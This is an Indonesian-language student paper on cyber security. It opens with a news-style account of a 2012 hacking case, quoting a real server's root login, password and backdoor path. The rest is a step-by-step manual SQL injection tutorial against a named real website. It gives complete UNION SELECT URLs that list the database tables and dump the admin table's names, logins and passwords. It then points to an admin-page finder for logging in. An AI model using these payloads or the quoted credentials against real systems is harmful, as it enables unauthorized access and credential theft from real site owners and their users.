CYBER SECURITY
Disusun Oleh :
Setelah itu, anak bungsu pasangan Ali Jakfar- Sri Hariyati itu menjalankan
programWHMKiller dari laman http://www.jatirejanetwork.com untuk mendapat
username dan kata kunci dari setiap domain name yang ada.Diapun memilih domain
dengan username: root, dan password: b4p4kg4nt3ng TIGA dengan port
number:2086.
Dengan username dan kata kunci tersebut, Wildan lantas menanamkan pula backdoor
di server http://www.techscape.co.id, pada pukul 04.58.31 WIB pada 16 November
2012.
Agar backdoor tersebut tidak diketahui admin, Wildan merubah nama tools menjadi
domain.php dan ditempatkan pada subdirektori my.techscape.co.id/feeds/, sehingga
Wildan bisa leluasa mengakses server http://www.techscape.com melalui URL
:my.techscape.co.id/feeds/domain.php. “Untuk mengakses itu, dia sudah memiliki
password yayan123,” kata salah seorang anggota JPU, Lusiana.
Ulah Wildan tercium Tim Subdit IT dan Cybercrime Direktorat Tindak Pidana
Ekonomi Khusus Mabes Polri yang mendapat laporan terjadinya gangguan pada
laman Presiden SBY. Setelah melakukan penyelidikan, diketahui bahwa aksi illegal
DNS redirectiondilakukan MJL007 dari warnet yang dijaga Wildan. Akhirnya
Wildan ditangkap pada 25 Januari 2013, sekitar pukul 23.00 WIB.
B. Cara hack website dengan sql injection
Sql Injection adalah salah satu teknik hacking suatu website yang memanfaatkan bug
Sql pada link dinamis, pada url tersebut attacker dapat memasukkan perintah Sql ke
dalam statement Sql via input website. Banyak cara untuk melakukan Sql Injection
seperti dengan tools SqlMap, Havij dll, tetapi pada tutorial kali ini saya akan
menjelaskan tentang cara Sql Injection secara manual melalui addressbar.
Berikut Langkah-Langkahnya :
1. Siapkan target terlebih dahulu, ( Website yang vulnerable terhadap Sql injection).
2. Setelah kita dapat targetnya , sekarang kita akan mulai periksa, apakah website
tersebut vulnerable terhadap Sql injection, pada kali ini saya akan mengambil
contoh dari website berikut :
http://www.firstgulf.com/search-details.php?id=59
4. Terlihat di atas bahwa terjadi Error Pada Sintax Sql website, hal tersebut
menunjukkan website vulnerable terhadap Sql Injection. Setelah itu ganti Quote
dengan order by <angka>-- untuk melihat berapa table yang di miliki oleh
website.
contoh : http://www.firstgulf.com/search-details.php?id=59 order by 20-- ,
kita akan mengetahui jumlah table website apabila dalam permintaan jumlah table
tidak terjadi error.
seperti contoh sebelumnya yaitu http://www.firstgulf.com/search-details.php?
id=59 order by 20--. dalam website target ternyata error, maka lanjutkan ke
angka yang lebih bawah.
order by 15-- ( Terjadi Error )
order by 13-- ( Terjadi Error )
order by 11-- ( Tidak Terjadi Error ) #Karna pada angka 11 tidak terjadi Error
maka lanjutkan ke angka yang lebih besar selanjutnya yaitu 12.
order by 12-- ( Terjadi Error ) # ternyata pada angka 12 terjadi error, maka bisa
di pastikan bahwa website target memiliki jumlah table sebanyak 11.
5. Setelah di ketahui bahwa jumlah table ada 11, selanjutnya kita mencari angka
akan menunjukkan isi databasenya nanti.tambahkan tanda "-" di awal angka 59,
dan deretan angka 1 sampai 11 di akhirnya.
6. Dapat di lihat pada gambar di atas, Ketika semua angka di pilih pada perintah Sql
= Union All select. pada halaman website target muncul segelintir angka yang
posisinya tidak menentu, pada contoh kali ini terlihat angka 2, 3 dan 5. Karna
angka 3 yang paling terlihat jelas, jadi kita akan menggunakan angka 3.
7. selanjutnya kita akan melihat versi dari Database Mysql Website target.
ganti angka tiga pada Url sebelumnya, dengan "version()" tanpa tanda kutip.
contoh : http://www.firstgulf.com/search-details.php?id=-59 union all
select 1,2,version(),4,5,6,7,8,9,10,11--
ternyata setelah di lakukan perintah di atas, angka tiga berganti dengan versi dari
database mysql target. dapat terlihat versi nya adalah 5.5.32. Sebenarnya ada versi
4.x.x , tapi pada versi tersebut cara ini tidaka akan berhasil karna untuk database
versi 4.x.x , kita akan di hadapkan pada cara Blind Sql.
8. Selanjutnya kita akan melihat isi daftar table yang ada pada website target.
Tambah kan pada url sebelumya.
http://www.firstgulf.com/search-details.php?id=-59 union all
select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from
information_schema.tables where table_schema=database()--
9. Terlihat sudah daftar nama semua table website target. kita cari nama table yang
hampir mirip atau memang tempat penyimpanan user dan password login website.
pada contoh di sini, terlihat ada table yang bernama "admin", kita akan pilih itu
untuk di lihat kolomnya. sebelum eksekusi ke pembedahan table "admin", kita
harus merubah kata "admin" kedalam bentuk hexadesima.
Ganti beberapa kata dalam url tadi :
http://www.firstgulf.com/search-details.php?id=-59 union all
select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from
information_schema.columns where table_name=0x61646d696e--
NB : kata database() di ganti dengan nama table "admin" yang sudah di jadikan
hexadesimal, ditambah 0x di depannya jadi = 0x61646d696e.
10. Setelah langkah di atas selesai dan berhasil, kita akan melihat isi dari table
"admin" yaitu beberapa kolom. berikut nama-nama kolom pada table "admin".
# id
# admin_name
# admin_login
# admin_password
11. Setelah di dapati semua nama kolom, sekarang waktunya untuk melihat isi dari
kolom tersebut.
ketik :
http://www.firstgulf.com/search-details.php?id=-59 union all
select 1,2,group_concat(id, 0x3a,admin_name,0x3a,admin_login,0x3a,admin_pa
ssword,0x0d0a),4,5,6,7,8,9,10,11 from admin--
NB :
0x3a adalah bentuk Hexadesimal dari ":" (colon)
0x0d0a adalah bentuk Hexadesimal dari <enter>
12. akhirnya sudah terlihat isi dari kolom "admin" , di situ sudah terpampang
id:admin_name:admin_login:admin_password
13. Untuk pengembangan selanjutnya anda bisa melakukan login ke halaman admin
atau hanya melakukan pentesting terhadap database.
apabila ingin melanjutkan login, silahkan cari halaman login dengan tools,
adminfinder.py
berikut screen shot nya :